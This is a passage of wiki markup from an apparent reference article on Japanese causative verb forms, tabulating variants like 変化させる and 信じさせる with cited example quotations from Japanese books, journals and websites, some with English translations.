uby>に<ruby>道<rp>(</rp><rt>みち</rt><rp>)</rp></ruby>はない。そこでまづ<ruby>葡<rp>(</rp><rt>ポル</rt><rp>)</rp></ruby><ruby>萄<rp>(</rp><rt>ト</rt><rp>)</rp></ruby><ruby>牙<rp>(</rp><rt>ガル</rt><rp>)</rp></ruby><ruby>國<rp>(</rp><rt>こく</rt><rp>)</rp></ruby><ruby>王<rp>(</rp><rt>わう</rt><rp>)</rp></ruby>ジョン二<ruby>世<rp>(</rp><rt>せい</rt><rp>)</rp></ruby>に<ruby>詣<rp>(</rp><rt>いた</rt><rp>)</rp></ruby>つた。<ruby>王<rp>(</rp><rt>わう</rt><rp>)</rp></ruby>はコロㇺブスに<ruby>耳<rp>(</rp><rt>みゝ</rt><rp>)</rp></ruby>を<ruby>傾<rp>(</rp><rt>かたむ</rt><rp>)</rp></ruby>けたが<ruby>樣<rp>(</rp><rt>さま</rt><rp>)</rp></ruby><ruby>々<rp>(</rp><rt>〲</rt><rp>)</rp></ruby>に<ruby>難<rp>(</rp><rt>なん</rt><rp>)</rp></ruby><ruby>癖<rp>(</rp><rt>ぐせ</rt><rp>)</rp></ruby>をつけて<ruby>置<rp>(</rp><rt>お</rt><rp>)</rp></ruby>いて、一<ruby>方<rp>(</rp><rt>ぱう</rt><rp>)</rp></ruby><ruby>裏<rp>(</rp><rt>うら</rt><rp>)</rp></ruby>に<ruby>廻<rp>(</rp><rt>まは</rt><rp>)</rp></ruby>つてコロㇺブスに<ruby>知<rp>(</rp><rt>し</rt><rp>)</rp></ruby>らせずに<ruby>純<rp>(</rp><rt>じゆん</rt><rp>)</rp></ruby><ruby>粹<rp>(</rp><rt>すゐ</rt><rp>)</rp></ruby>の<ruby>葡<rp>(</rp><rt>ポル</rt><rp>)</rp></ruby><ruby>萄<rp>(</rp><rt>ト</rt><rp>)</rp></ruby><ruby>牙<rp>(</rp><rt>ガル</rt><rp>)</rp></ruby><ruby>人<rp>(</rp><rt>じん</rt><rp>)</rp></ruby>の<ruby>探<rp>(</rp><rt>たん</rt><rp>)</rp></ruby><ruby>檢<rp>(</rp><rt>けん</rt><rp>)</rp></ruby><ruby>隊<rp>(</rp><rt>たい</rt><rp>)</rp></ruby>を<ruby>組<rp>(</rp><rt>そ</rt><rp>)</rp></ruby><ruby>織<rp>(</rp><rt>しき</rt><rp>)</rp></ruby>して<ruby>出<rp>(</rp><rt>しゆつ</rt><rp>)</rp></ruby><ruby>航<rp>(</rp><rt>かう</rt><rp>)</rp></ruby>の<ruby>凖<rp>(</rp><rt>じゆん</rt><rp>)</rp></ruby><ruby>備<rp>(</rp><rt>び</rt><rp>)</rp></ruby>をせさせた。<ruby>倂<rp>(</rp><rt>しか</rt><rp>)</rp></ruby>しコロㇺブスの<ruby>如<rp>(</rp><rt>ごと</rt><rp>)</rp></ruby>き<ruby>天<rp>(</rp><rt>てん</rt><rp>)</rp></ruby><ruby>才<rp>(</rp><rt>さい</rt><rp>)</rp></ruby>を<ruby>出<rp>(</rp><rt>だ</rt><rp>)</rp></ruby>し<ruby>拔<rp>(</rp><rt>ぬ</rt><rp>)</rp></ruby>かうと<ruby>云<rp>(</rp><rt>い</rt><rp>)</rp></ruby>ふ<ruby>樣<rp>(</rp><rt>やう</rt><rp>)</rp></ruby>な<ruby>大<rp>(</rp><rt>おほ</rt><rp>)</rp></ruby>それた<ruby>騙<rp>(</rp><rt>だま</rt><rp>)</rp></ruby>し<ruby>打<rp>(</rp><rt>うち</rt><rp>)</rp></ruby><ruby>駈<rp>(</rp><rt>かけ</rt><rp>)</rp></ruby><ruby>引<rp>(</rp><rt>ひ</rt><rp>)</rp></ruby>きの<ruby>企<rp>(</rp><rt>くはだ</rt><rp>)</rp></ruby>てなぞは<ruby>成<rp>(</rp><rt>な</rt><rp>)</rp></ruby>る<ruby>筈<rp>(</rp><rt>はず</rt><rp>)</rp></ruby>がない、<ruby>當<rp>(</rp><rt>たう</rt><rp>)</rp></ruby><ruby>然<rp>(</rp><rt>ぜん</rt><rp>)</rp></ruby>、<ruby>氣<rp>(</rp><rt>き</rt><rp>)</rp></ruby><ruby>味<rp>(</rp><rt>み</rt><rp>)</rp></ruby><ruby>善<rp>(</rp><rt>よ</rt><rp>)</rp></ruby>くも<ruby>失<rp>(</rp><rt>しつ</rt><rp>)</rp></ruby><ruby>敗<rp>(</rp><rt>ぱい</rt><rp>)</rp></ruby>に<ruby>歸<rp>(</rp><rt>き</rt><rp>)</rp></ruby>した、<ruby>船<rp>(</rp><rt>せん</rt><rp>)</rp></ruby><ruby>員<rp>(</rp><rt>ゐん</rt><rp>)</rp></ruby>が<ruby>叛<rp>(</rp><rt>そむ</rt><rp>)</rp></ruby>き<ruby>出<rp>(</rp><rt>だ</rt><rp>)</rp></ruby>し<ruby>船<rp>(</rp><rt>せん</rt><rp>)</rp></ruby><ruby>長<rp>(</rp><rt>ちやう</rt><rp>)</rp></ruby>は<ruby>勇<rp>(</rp><rt>ゆう</rt><rp>)</rp></ruby><ruby>氣<rp>(</rp><rt>き</rt><rp>)</rp></ruby>を<ruby>喪<rp>(</rp><rt>うしな</rt><rp>)</rp></ruby>つて<ruby>歸<rp>(</rp><rt>かへ</rt><rp>)</rp></ruby>つて<ruby>來<rp>(</rp><rt>き</rt><rp>)</rp></ruby>たのである。(一四八三<ruby>年<rp>(</rp><rt>ねん</rt><rp>)</rp></ruby>)。コロㇺブスはついで<ruby>西<rp>(</rp><rt>ス</rt><rp>)</rp></ruby><ruby>班<rp>(</rp><rt>ペ</rt><rp>)</rp></ruby><ruby>牙<rp>(</rp><rt>イン</rt><rp>)</rp></ruby><ruby>宮<rp>(</rp><rt>きう</rt><rp>)</rp></ruby><ruby>廷<rp>(</rp><rt>てい</rt><rp>)</rp></ruby>に<ruby>詣<rp>(</rp><rt>いた</rt><rp>)</rp></ruby>つた。|quote=He was a penniless man, some accounts say he was a bankrupt, and his only way of securing a ship was to get someone to entrust him with a command. He went first to King John II of Portugal, who listened to him, made difficulties, and then arranged for an expedition to start without his knowledge, a purely Portuguese expedition. This highly diplomatic attempt to steal a march on an original man failed, as it deserved to fail; the crew became mutinous, the captain lost heart and returned (1483). Columbus then went to the Court of Spain.|pages=498–499|url=https://dl.ndl.go.jp/pid/1041331/1/139|script-chapter=ja:第十節 亞米利加が歷史に登場する|trans-chapter=Section 10: America Enters History|script-title=ja:世界文化史大系|trans-title=[[The Outline of History|The Outline of the World's Cultural History]]|title=The Outline of History|volume=Ⅴ|date=20 October 1948|translator-last=Kitagawa|translator-first=Saburō|first=Herbert George|last=Wells|authorlink=H. G. Wells|location=[[Chiyoda, Tokyo]]}}</ref><br>{{#invoke:nihongo|nihongo_krt||せさす|sesasu}}<br>{{#invoke:nihongo|nihongo_krt||せしめる|seshimeru}}
|-
| style=text-align:right;border-right:none | '''<span style="color:#04b">{{#invoke:lang|lang|ja|し}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|させる<br>さす}}</span>'''
| {{#invoke:nihongo|nihongo_krt|cause to do|しさせる|shisaseru}}<ref>{{#invoke:cite|web|lang=ja|script-quote=ja:ナットには、片方がふさがっているタイプと、貫通させるタイプの2種類があります。貫通させるタイプは、先が細くなっているほうが内側になるため、向きを間違えないようにしましょう。[…]プラットホームは50%の摩耗をしさせるマークで、タイヤのサイドウォールに目印が記載されています。[…]また、タイヤを少しでも長持ちさせるための方法もお伝えします。[…]タイヤはローテーションさせる[…]右前輪と左後輪を、左前輪と右後輪を数ヶ月置きに入れ替えるなどして、すり減りの度合いを平等にさせましょう。[…]急加速や減速を繰り返すと摩耗を促進させてしまいます。急な運転を避けることも、タイヤを長持ちさせる秘訣です。|script-title=ja:車のタイヤ交換のやり方とは?交換するときのポイントや交換時期の目安|script-work=ja:ネクステージ|url=https://www.nextage.jp/buy_guide/info/258082/|date=11 February 2024}}</ref><br>{{#invoke:nihongo|nihongo_krt||しさす|shisasu}}
|-
| rowspan=3 | {{#invoke:nihongo|nihongo_krt|transform|変化する|henka suru}}
| rowspan=3 style=text-align:right | {{#invoke:lang|lang|ja|変化}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|変化}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|さ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|せる<br>す}}</span>'''
| {{#invoke:nihongo|nihongo_krt|cause to transform|変化させる|henka saseru}}<br>{{#invoke:nihongo|nihongo_krt||変化さす|henka sasu}}
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|変化}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|せ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|させる<br>さす<br>しめる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|cause to transform|変化せさせる|henka sesaseru}}<ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:図- 2 接着条件を変化せさせた試験体の荷重-変位関係<br>表- 4 接着条件を変化せさせた試験体の実験結果および計算結果一覧|page=578 |url=https://muroran-it.repo.nii.ac.jp/record/10107/files/JSE_60A_575_586.pdf|last1=Mikami|first1=Hiroshi|last2=Kurihashi|first2=Yūsuke|last3=Komuro|first3=Masato|last4=Kishi|first4=Norimitsu|script-title=ja:FRP 板水中接着曲げ補強RC 梁の耐荷性能に及ぼす補強量の影響|doi=10.11532/structcivil.60A.575|issn=1881-6614|title=Effects of plate volume on load-carrying capacity of flexural reinforced RC beam with submerged FRP plate |journal=構造工学論文集 A |script-journal=ja:構造工学論文集|publisher=Muroran Institute of Technology|date=March 2014|volume=60A}}</ref><ref>{{#invoke:cite|thesis|lang=ja|script-quote=ja:図 4.1 の原点 O, 点 A,B,C,D,E を変化せさせると, それに伴いメンバーシップ関数の形も変化する.|page=27 |url=https://core.ac.uk/download/pdf/154924521.pdf|last=Sadose|first=Kan|script-title=ja:RoboCupSoccer2D プレイヤにおけるファジィ方策関数の進化的獲得|degree=master's|date=13 March 2018}}</ref><br>{{#invoke:nihongo|nihongo_krt||変化せさす|henka sesasu}}<br>{{#invoke:nihongo|nihongo_krt||変化せしめる|henka seshimeru}}
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|変化}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|し}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|させる<br>さす}}</span>'''
| {{#invoke:nihongo|nihongo_krt|cause to transform|変化しさせる|henka shisaseru}}<ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:時間をかけて取り組むことで、得意な子たちには「うまいだけで終わらない表現」を、苦手な子たちには「じっくりと技能を習得する時間」「偶然(失敗)を生かし作品を変化しさせていく時間」を、確保することができた。|script-journal=ja:松沢研究奨励賞受賞者 研究報告|script-title=ja:一つの作品に時間をかけて取り組む図画工作科の題材研究及び実践共有の試み|last=Mashiko|first=Akira|date=March 2004|url=https://yuusyoukai.org/shiryositu/Y_matsuzawa/kenkyu-mashiko.pdf}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:専業育児の母親が被援助対象との関係を多様に変化しさせていくのに対し、有職の母親は「親・親戚」との関係を集約的に深め、さらに職場の子育て仲間と保育所を補助的な被援助対象として子育て生活を乗り切っていた。|page=265 |url=https://tohoku.repo.nii.ac.jp/record/3579/files/55-2-15.pdf|last=Katō|first=Michiyo|script-title=ja:子育て期の母親における「被援助性」とサポートシステムの変化⑵|script-journal=ja:東北大学大学院教育学研究科研究年報|publisher=Tohoku University|year=2007 |volume=55 |number=2}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:しかし、日本社会の保健・医療及び福祉・教育領域における高齢者・子ども・障害者・貧困問題等との対面的な関わりを担う対人支援ニーズへの対応は、部分的にはオンライ診療・オンライ授業のようにその方法を変化しさせつつも完全停止するわけにいかない現実に直面している。|page=92 |url=https://rikkyo.repo.nii.ac.jp/record/20321/files/AA12646974_08_08.pdf|last=Yūki|first=Toshiya|script-title=ja:ケアのエピファニーとは何か 〜発達障害者の理解と支援方法から考えたこと〜|title=What is the Epiphany of Care ? ─Thoughts about Understanding People with Developmental Disabilities and the Support Methods Used in Their Care─|script-journal=ja:立教大学コミュニティ福祉研究所紀要|number=8 |year=2020}}</ref><ref>{{#invoke:cite|web|lang=ja|script-quote=ja:最初は小さな一歩かもしれませんが、サービスをリリースして開発し続けて変化しさせていくことにより、大きな社会の変化につながると思うので、そこをいかにやれるか。|last=Matsuoka|first=Satoshi|script-title=ja:スクラム体制への変化―開発エンジニアと一蓮托生する"スクラムマスター"とは|date=26 June 2020|website=techtekt|url=https://techtekt.persol-career.co.jp/entry/culture/200626_01}}</ref><br>{{#invoke:nihongo|nihongo_krt||変化しさす|henka shisasu}}
|-
| rowspan=3 | {{#invoke:nihongo|nihongo_krt|love|愛する|aisuru}}
| rowspan=3 style=text-align:right | {{#invoke:lang|lang|ja|愛}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|愛}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|さ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|せる<br>す<br>しめる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|cause to love|愛させる|aisaseru}}<ref name=meikyo /><ref>{{#invoke:cite|journal|script-title=ja:中国、台湾における九年一貫教育課程と美術教育について|title=Nine-year School Curriculum and Art Education in China and Taiwan|lang=ja|script-quote=ja:学生(児童、生徒の総称)に愛国主義・集団主義精神をもたせ、社会主義を愛させる。|script-journal=ja:大学美術教育学会誌|last=Fukuda|first=Takamasa|year=2006 |number=38 |url=https://petit.lib.yamaguchi-u.ac.jp/826/files/145636|page=311}}</ref><br>{{#invoke:nihongo|nihongo_krt||愛さす|aisasu}}<br>{{#invoke:nihongo|nihongo_krt||愛さしめる|aisashimeru}}
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|愛}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|せ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|させる<br>さす<br>しめる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|cause to love|愛せさせる|aisesaseru}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:世を愛せさせるのは、「肉の慾、眼の慾、及び<ruby>所有<rp>(</rp><rt>もちもの</rt><rp>)</rp></ruby>の誇である」。|page=143 |script-title=ja:基督のまねび|date=22 January 1933|url=https://dl.ndl.go.jp/pid/1126770/1/85|last=Uchimura|first=Tatsusaburō|publisher=Shunjūsha}}</ref><br>{{#invoke:nihongo|nihongo_krt||愛せさす|aisesasu}}<br>{{#invoke:nihongo|nihongo_krt||愛せしめる|aiseshimeru}}
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|愛}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|し}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|させる<br>さす}}</span>'''
| {{#invoke:nihongo|nihongo_krt|cause to love|愛しさせる|aishisaseru}}<ref name=miyahara-1923>{{#invoke:cite|book|lang=ja|quote=Recordari volo transactas fœditates meas, et carnales corruptiones animæ meæ: non quod eas amem; sed ut amem te, Deus meus. […]<br>Age, Domine, fac; excita, et revoca nos; accende, et rape; flagra, dulcesce: jam amemus, et curramus.|script-quote=ja:私は今自分の過去の汚穢と、私の魂の肉的腐敗とを想ひ起しませう。それは私がそんなものを愛するが爲めではなく、私の神よ、貴下を愛しようといふのだからで厶います。[…]<br>主よ、さあどうぞおやり下さい、我々を搖り起して、呼び返して下さい。我々を燃やして、貴下に引き寄せていたゞきませう、我々に香ぐはしく<sup>[''[[sic]]'']</sup>、また甘くなつてください。我々に愛しさせて下さい、我々に驅けさせて下さい。|trans-quote=I will now recall my past foulness, and the carnal corruptions of my soul. It is not for I love them, but for I may love Thee, my God. […]<br>Now then, Lord, do it, stir us up, and recall us. Kindle and draw us unto Thee, become flagrant<!--Here used as a compromise between the Latin 'flagra' "burn" and the Japanese 香ぐはしく "fragrant". Apparently "flagrant" used to be misspelling of "fragrant" too.--> and sweet unto us. Let us love, let us run.|pp=46, 303|url=https://dl.ndl.go.jp/pid/976878/1/167|script-title=ja:オウガスチン懴悔錄|trans-title=[[Confessions (Augustine)|Augustine's Confessions]]|title=S. Aurelii Augustini Confessiones|author=[[Augustine]]|date=2 February 1923|translator-first=Kōichirō|translator-last=Miyahara|publisher=Bunmei Shoin|location=[[Ushigome]], Tokyo}}</ref><br>{{#invoke:nihongo|nihongo_krt||愛しさす|aishisasu}}
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|reach|達する|tassuru}}
| rowspan=2 style=text-align:right | {{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|さ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|せる<br>す<br>しめる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|cause to reach|達させる|tassaseru}}<ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:子どもたちが興味関心をもつだけでなく,理科(地学)を学ぶことの意義や充足感を達させるための身近な教材として「宝石」に着目し,本活動は2002年から始まった。|page=34 |script-title=ja:理科教育コースにおけるふれあい活動の大学授業での実践|last1=Takeda|first1=Kiyoshi|last2=Adachi|first2=Natsuko|last3=Terashima|first3=Yukio|last4=Honda|first4=Ryō|last5=Murata|first5=Mamoru|last6=Ozawa|first6=Hiroaki|script-journal=ja:鳴門教育大学授業実践研究|number=17 |year=2018 |url=https://naruto.repo.nii.ac.jp/record/26103/files/jj17005.pdf}}</ref><br>{{#invoke:nihongo|nihongo_krt||達さす|tassasu}}<br>{{#invoke:nihongo|nihongo_krt||達さしめる|tassashimeru}}
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|せ}}</span>'''<br>{{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|し}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|させる<br>さす<br>しめる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|cause to reach|達せさせる|tassesaseru}}<ref name=meikyo /><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:加熱したカリアスチューブ内を酸化的状態にすることで,試料とスパイク標準溶液を完全な同位体平衡に達せさせる。|page=285 |script-title=ja:Re‒Os同位体を用いた地球化学:年代決定から古環境解読まで|last1=Nozaki|first1=Tatsuo|last2=Katō|first2=Yasuhiro|last3=Suzuki|first3=Katsuhiko|journal=Geochemistry|script-journal=ja:地球化学|year=2014 |volume=48 |number=4 |doi=10.14934/chikyukagaku.48.279 |url=https://www.jstage.jst.go.jp/article/chikyukagaku/48/4/48_279/_article/-char/ja/}}</ref><br>{{#invoke:nihongo|nihongo_krt||達しさせる|tasshisaseru}}<ref name=meikyo /><ref>{{#invoke:cite|journal|script-quote=ja:両相がセグメントを形成し抽出コイルを移動する間に分配平衡に達しさせる。|lang=ja|script-title=ja:連続フロー分析法 (流量比法) に基づく分配係数の測定|script-journal=ja:情報化学討論会・構造活性相関シンポジウム講演要旨集|year=2001 |last1=Tachibana|first1=Takahiro|last2=Yamamoto|first2=Yūko|last3=Tanaka|first3=Hideharu|last4=Chūman|first4=Hiroshi|url=https://www.jstage.jst.go.jp/article/ciqs2001/tokusi/0/tokusi_0_K01/_pdf/-char/en}}</ref><br>{{#invoke:nihongo|nihongo_krt||達せさす|tassesasu}}<br>{{#invoke:nihongo|nihongo_krt||達しさす|tasshisasu}}<br>{{#invoke:nihongo|nihongo_krt||達せしめる|tasseshimeru}}<br>{{#invoke:nihongo|nihongo_krt||達ししめる|tasshishimeru}}
|-
| {{#invoke:nihongo|nihongo_krt|guess|察する|sassuru}}
| style=text-align:right | {{#invoke:lang|lang|ja|察}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|察}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|せ}}</span>'''<br>{{#invoke:lang|lang|ja|察}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|し}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|させる<br>さす<br>しめる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|cause to guess|察せさせる|sassesaseru}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:『出雲風土記』『播磨風土記』によつて中國・四國(北半)・の情勢を察することが許されるならば、この地方には、土蜘蛛族が比較的早く征服されて居たやうだ。[…]これより先、天皇はその二十五年七月といふに、武內宿禰を北陸及び東方の諸國に派して地形及び民情を察せさせた。|pages=113, 272|url=https://dl.ndl.go.jp/pid/1085719/1/153|script-title=ja:新版 民族日本歴史 王朝編|date=20 July 1946|last=Shirayanagi|first=Shūko|publisher=Chikura Publishing Company|location=[[Shinagawa]], Tokyo}}</ref><br>{{#invoke:nihongo|nihongo_krt||察しさせる|sasshisaseru}}<ref>{{#invoke:cite|book|lang=ja|script-title=ja:口語法|page=59 |url=https://dl.ndl.go.jp/pid/1119823/1/45|script-chapter=ja:第七章 助動詞|date=28 September 1935|edition=11th|author=[[Ministry of Education, Science, Sports and Culture]]|publisher=Dainippon Tosho|location=[[Kyōbashi, Tokyo]]}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:大體きまつて居たことを察しさせて來るのである。[…]直に其部分々々の古代文化を察するのは、|page=10 |url=https://dl.ndl.go.jp/pid/1663265/1/13|script-title=ja:折口信夫全集|volume=8 |publisher=Chūō Kōron Sha|date=25 June 1966|editor={{#invoke:lang|lang|ja|折口博士記念古代硏究所}}|location=[[Chūō, Tokyo]]}}</ref><br>{{#invoke:nihongo|nihongo_krt||察せさす|sassesasu}}<br>{{#invoke:nihongo|nihongo_krt||察しさす|sasshisasu}}<br>{{#invoke:nihongo|nihongo_krt||察せしめる|sasseshimeru}}<br>{{#invoke:nihongo|nihongo_krt||察ししめる|sasshishimeru}}
|-
| {{#invoke:nihongo|nihongo_krt|believe|信ずる|shinzuru}}
| style=text-align:right | {{#invoke:lang|lang|ja|信}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ず}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|信}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ぜ}}</span>'''<br>{{#invoke:lang|lang|ja|信}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|じ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|させる<br>さす<br>しめる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|cause to believe|信ぜさせる|shinzesaseru}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:時勢の變を君は如何にか見る、若し彼の英僧日蓮を再び地下より呼び起さば、彼は慨然筆を呵して、第二の立正安國論を書くであらう。日蓮は自分を豫言者と見た、否、古聖の豫言を成就すべき末世の一大行者と見た。彼は當年の天變地妖を以て、日本國民が精神的に墮落した神佛の嚴罰と信じた。彼の信念はやがて是れ古へイスラエルの豫言者達を動かした夫れであつた。天變地妖は確に一種の神罰である、少くとも人心を警醒せんとする天來の暗示に違ひない。僕は斯く信ずる信ぜねばならぬ。從つて他人にも然か信ぜさせたい。併しながら大正三年の今日此場合に於ては僕は古しへの豫言者達を天上から呼び下さうと思はない。僕にして立正安國論を書くとすればそは日蓮上人の夫れとは根本精神を異にして居る。僕は現代日本の子として寧ろ天災地妖を祝福する。僕は時勢の變に對して飽くまで樂天論者だ。|trans-quote=How do you view a paradigm shift? If you could raise that great monk [[Nichiren]] back from beneath the ground, he would pick up his indignant pen and write a second ''[[Risshō Ankokuron|On Establishing Right Doctrine and Pacifying the Nation]]''. Nichiren viewed himself as a prophet, nay, the one great ascetic of a fallen age who was bound to fulfil the prophecies of ancient saints. He believed that the contemporary cataclysms were severe punishments from the Gods and Buddhas for how the Japanese people had spiritually fallen. His conviction was like that which ultimately mobilized the ancient Israelite prophets. Cataclysms are certainly a kind of divine punishment, or at least no doubt a hint from Heaven to awaken human minds. This, I believe, cannot but believe, and accordingly I wish to convince others of. However, today in Taishō 3 (1914), on this occasion I do not seek to call upon the prophets of old from Heaven. If I were to write an ''On Establishing Right Doctrine and Pacifying the Nation'', it would differ fundamentally in spirit from that by Saint Nichiren. I, as a child of modern Japan, would rather embrace catastrophe. In facing a paradigm shift, I am an optimist to the last.|url=https://dl.ndl.go.jp/pid/1017270/1/227|p=430|script-chapter=ja:時勢の變を眺めつゝ|trans-chapter=While Watching a Paradigm Shift|script-title=ja:鼎浦全集|trans-title=The Complete Works of Teiho|volume=1|last=Oyama|first=Tōsuke|date=10 June 1915|editor={{#invoke:lang|lang|ja|鼎浦會}}|publisher={{#invoke:lang|lang|ja|鼎浦會事務所}}|location=Ebara, Tokyo}}</ref><br>{{#invoke:nihongo|nihongo_krt||信じさせる|shinjisaseru}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:わが親しき乙女<br>もし病氣といふものがあなたの眼にあのやうに心地よい變化を生むものとすれば、私はあなたも時には病氣になればよいにと願ふほどです。あなたが冷淡だなどと少しも疑つてはゐないと信じていただくためにも、昨晚あなたが出て行かれる前に、あなたの御手紙を讀んでおけばよかつたにと思つてゐます。あんなにぶしつけな話し方をする人にたいしては、あなたは少々ぐらゐは默つてゐるのは全く當然なことです。少くも長い間、私の樂しみであり、また苦しみでもあつたあなたへの愛情に源を發してゐる事柄以外には、私はあなたのことについて、何もすることも、話すことも、考へることもできないといふことを是非、信じて下さい――必ずあなたに信じさせて見せます――あなたは信ずるやうになるでせう。私が病氣になつた晚、激しい血液の流が私の肺臟に溢れて、私は殆ど窒息しさうな氣がし、確にもう生存は覺束ないと感じましたが、その瞬間にはあなたのこと以外は考へませんでした。ブラウンに「これでは望みはない」と言つたときにも、私はあなたのことを考へてゐました。だが、それからまづ二三日經つと、他の考が私の頭に入るやうになりました。今後も健康と春とわれわれのあの散步のいつもの路筋を思ひ望みつづけるでせう。<p style=text-align:right>親愛な<br>J・K</p>|quote=My dearest Girl,<br>If illness makes such an agreeable variety in the manner of your eyes I should wish you sometimes to be ill. I wish I had read your note before you went last night that I might have assured you how far I was from suspecting any coldness. You had a just right to be a little silent to one who speaks so plainly to you. You must believe—you shall, you will—that I can do nothing, say nothing, think nothing of you but what has its spring in the Love which has so long been my pleasure and torment. On the night I was taken ill—when so violent a rush of blood came to my Lungs that I felt nearly suffocated—I assure you I felt it possible I might not survive, and at that moment thought of nothing but you. When I said to Brown "this is unfortunate" I thought of you. 'Tis true that since the first two or three days other subjects have entered my head. I shall be looking forward to Health and the Spring and a regular routine of our old Walks.<p style=text-align:right>Your affectionate<br>J. K.</p>|pp=217–218|url=https://dl.ndl.go.jp/pid/1131936/1/110|script-chapter=ja:'''四一''' ファニ・ブローンへ|trans-chapter='''XIV.''' To [[Fanny Brawne]]|script-title=ja:愛について|trans-title=On Love|translator-last=Nakahashi|translator-first=Kazuo|authorlink=John Keats|first=John|last=Keats|publisher=Kadokawa Shoten|date=10 September 1948|location=[[Chiyoda, Tokyo]]}}</ref><br>{{#invoke:nihongo|nihongo_krt||信ぜさす|shinzesasu}}<br>{{#invoke:nihongo|nihongo_krt||信じさす|shinjisasu}}<br>{{#invoke:nihongo|nihongo_krt||信ぜしめる|shinzeshimeru}}<br>{{#invoke:nihongo|nihongo_krt||信じしめる|shinjishimeru}}
|-
| {{#invoke:nihongo|nihongo_krt|give|進ずる|shinzuru}}
| style=text-align:right | {{#invoke:lang|lang|ja|進}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ず}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|進}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ぜ}}</span>'''<br>{{#invoke:lang|lang|ja|進}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|じ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|させる<br>さす<br>しめる}}</span>'''
